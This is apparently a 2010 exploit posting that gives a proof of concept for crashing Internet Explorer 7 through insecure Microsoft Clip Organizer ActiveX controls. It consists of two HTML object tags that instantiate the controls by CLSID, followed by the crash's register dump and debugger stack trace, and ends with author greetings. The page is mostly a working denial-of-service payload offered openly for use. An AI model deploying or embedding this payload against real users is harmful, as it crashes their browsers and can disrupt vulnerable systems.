# IE 7.0 - DoS Microsoft Clip Organizer Multiple Insecure ActiveX Control # # Date: 19th july 2010 # # Author: Dinesh Arora & Beenu Arora # # # Affected / Tested Version of IE : 7.0 / WinXP SP3 / MS Office 2007 # # contact: dinesh.dinoo@gmail.com, beenudel1986@gmail.com # # Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly # # Shoutz to : http://www.garage4hackers.com , www.beenuarora.com
POC:
<!-- COM Object - {0009608B-3E4E-4BF4-8C8C-D107F1F7B4CE} MC Euro Lexical Analyzer ******************************************************************************* COM Object Filename : C:\PROGRA~1\MICROS~2\Office12\MCPS.DLL Major Version : 12 Minor Version : 0 Build Number : 4518 Revision Number : 1014 Product Version : 12.0.4518.1014 Product Name : Microsoft Clip Organizer --> <object id=TestObj classid="CLSID:{0009608B-3E4E-4BF4-8C8C-D107F1F7B4CE}" style="width:100;height:350"></object>
<!-- COM Object - {0051FAAD-74C8-4057-8A85-1CFBF9ABB05C} MC Shared Search Scope ******************************************************************************* COM Object Filename : C:\PROGRA~1\MICROS~2\Office12\MCPS.DLL Major Version : 12 Minor Version : 0 Build Number : 4518 Revision Number : 1014 Product Version : 12.0.4518.1014 Product Name : Microsoft Clip Organizer ******************************************************************************* --> <object id=TestObj classid="CLSID:{0051FAAD-74C8-4057-8A85-1CFBF9ABB05C}" style="width:100;height:350"></object>
Register:
EAX 02299BC4 ECX 00000000 EDX 00000000 EBX 00000000 ESP 02299BC0 EBP 02299C14 ESI 02299C8C EDI 00000000 EIP 7C812AFB kernel32.7C812AFB
kernel32!RaiseException+53 in C:\WINDOWS\system32\kernel32.dll from Microsoft Corporation has caused an unknown exception (0xc06d007e) on thread 33
This exception originated from MCPS!DllGetClassObject+6db1.
Function Arg 1 Arg 2 Arg 3 Source kernel32!RaiseException+53 c06d007e 00000000 00000001 MCPS!DllGetClassObject+6db1 00000000 06029c38 39f34f4c MCPS!DllGetClassObject+5c6d 39f2a3bc 39f221b4 39f34360 MCPS!DllCanUnloadNow+2b6b 00205cf0 0602a688 06029d64 ole32!CClassCache::CDllPathEntry::DllGetClassObject+2d 00205cf0 0602a688 06029d64 ole32!CClassCache::CDllFnPtrMoniker::BindToObjectNoSwitch+1f 06029d18 0602a688 06029d64 ole32!CClassCache::GetClassObject+38 06029d6c 0602a83c 0602a300 ole32!CServerContextActivator::GetClassObject+f5 77607150 0602a300 0602a83c ole32!ActivationPropertiesIn::DelegateGetClassObject+f3 0602a300 0602a83c 0602a300 ole32!CApartmentActivator::GetClassObject+4d 77607154 0602a300 0602a83c ole32!CProcessActivator::GCOCallback+2b 77607154 00000001 00000000 ole32!CProcessActivator::AttemptActivation+2c 7760714c 0602a15c 00000000 ole32!CProcessActivator::ActivateByContext+42 7760714c 0602a15c 00000000 ole32!CProcessActivator::GetClassObject+48 7760714c 0602a300 0602a83c ole32!ActivationPropertiesIn::DelegateGetClassObject+f3 0602a300 0602a83c 003a0043 ole32!CClientContextActivator::GetClassObject+88 77607114 00000001 0602a83c ole32!ActivationPropertiesIn::DelegateGetClassObject+f3 0602a300 0602a83c 774eca20 ole32!ICoGetClassObject+334 0602a9dc 00000007 00000000 ole32!CComActivator::DoGetClassObject+93 0602a9dc 00000007 00000000 ole32!CoGetClassObject+1b 0602a9dc 00000007 00000000 urlmon!CoGetClassObjectWrap+33 0602a9dc 00000007 00000000 urlmon!CoGetClassObjectFromURL+2ae 056f8fd0 00000000 00000000 mshtml!CCodeLoad::BindToObject+464 3cf5193c 0602bc00 00000000 mshtml!CCodeLoad::Init+296 0576d538 0602bc00 3cf8d43c mshtml!COleSite::CreateObject+5a5 0602bc00 05720bf8 05976520 mshtml!CObjectElement::CreateObject+6af 3cee8243 0573a860 00000000 mshtml!CHtmObjectParseCtx::Execute+8 0573a860 00000000 00000000 mshtml!CHtmParse::Execute+43 05720bf8 00000000 0573a860 mshtml!CHtmPost::Broadcast+11 3cedb43d 0577ca50 0573a860 mshtml!CHtmPost::Exec+40a 24a63821 0577ca50 0573a860 mshtml!CHtmPost::Run+13 24a63821 0577ca50 0573a860 mshtml!PostManExecute+dc 0577ca50 24a63821 0573a860 mshtml!PostManResume+9e 0573a860 00000001 0602fdf4 mshtml!CHtmPost::OnDwnChanCallback+10 05952930 0573a860 0602fe28 mshtml!CDwnChan::OnMethodCall+19 05952930 00000000 00000000 mshtml!GlobalWndOnMethodCall+101 0602feb0 3cf513d9 00000000 mshtml!GlobalWndProc+181 005707a2 00000009 00000000 user32!InternalCallWinProc+28 3cf513d9 005707a2 00008002 user32!UserCallWinProcCheckWow+150 00000000 3cf513d9 005707a2 user32!DispatchMessageWorker+306 0602ff64 00000000 0602ffb4 user32!DispatchMessageW+f 0602ff64 053400b8 000001c1 ieframe!CTabWindow::_TabWindowThreadProc+189 056adac8 053400b8 000001c1 kernel32!BaseThreadStart+37 3e25e4fc 056a5cf8 00000000
The assembly instruction at kernel32!RaiseException+53 in C:\WINDOWS\system32\kernel32.dll from Microsoft Corporation has caused an unknown exception (0xc06d007e) on thread 33 This exception originated from MCPS!DllGetClassObject+6db1.
|